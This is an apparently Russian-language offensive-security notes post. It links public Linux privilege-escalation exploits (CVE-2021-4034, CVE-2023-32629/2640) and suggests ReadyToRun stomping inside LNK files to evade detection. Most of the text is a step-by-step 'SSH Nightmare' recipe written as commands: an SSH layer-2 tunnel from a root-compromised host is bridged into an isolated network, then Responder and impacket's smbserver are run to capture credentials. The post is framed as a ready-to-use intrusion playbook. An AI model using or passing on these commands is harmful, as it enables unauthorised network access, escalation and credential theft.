Стандартные исключения Касперского
#каспер #kes #kasper

#Linux #LPE #2021 #CVE

Однострочное поднятие на Debian/Ubuntu/RedHad/SUSE системах до 2021-го года (до фикса).
Требуется компилятор С

https://github.com/berdav/CVE-2021-4034

#Linux #LPE #2023 #CVE

Ещё одно однострочное поднятие на Linux системах до 2023-го года (до фикса).
З.Ы. Может стрелять не везде

https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation/tree/main

ReadytoRun stomping прогугли
И в lnk завернёшь

В общем, вот рецепт для тех кто хочет SSH Nightmare:
Вводные - нужен доступ к Linux-хосту от root, PermitTunnel yes и два сетевых интерфейса на машине (можно и через один, но есть риск DoS при ошибках в конфигурации). В примере рассмотрим ситуацию когда есть внешний интерфейс eth0 и интерфейс в атакуемую сеть (eth1, 10.0.0.0/24).
1) Делаем туннель:

sudo ssh -i ~/.ssh/id_rsa -o Tunnel=ethernet -w 1:1 root@<linux>

2) На локальной машине включаем интерфейс и выбираем свободный адрес в изолированной сети:

sudo ip link set tap1 up
sudo ip addr add 10.0.0.4/24 dev tap1

3) На удаленной машине делаем сетевой мост и назначаем ему адрес от интерфейса eth1:

sudo brctl addbr bridgeforattack
sudo brctl addif bridgeforattack tap1
sudo brctl addif bridgeforattack eth1
sudo ip addr del 10.0.0.2/24 dev eth1
sudo ip addr add 10.0.0.2/24 dev bridgeforattack
sudo ip link set dev tap1 up
sudo ip link set dev bridgeforattack up

Для случая с 1 интерфейсом после смены IP обязательно нужно прописать дефолтный роут, например:

sudo ip route add default via 10.0.2.1

4) Проверяем L2-доступ к сети с локальной машины:

ping -c1 10.0.0.1

5) Готовим атаку: спуфим респондером с отключенным SMB, а соединение принимаем на smbserver из impacket (респондер тоже их ловит, но часто дропает коннекты хз почему)

sudo responder -I tap1
smbserver.py -smb2support share .

6) ???

7) PROFIT!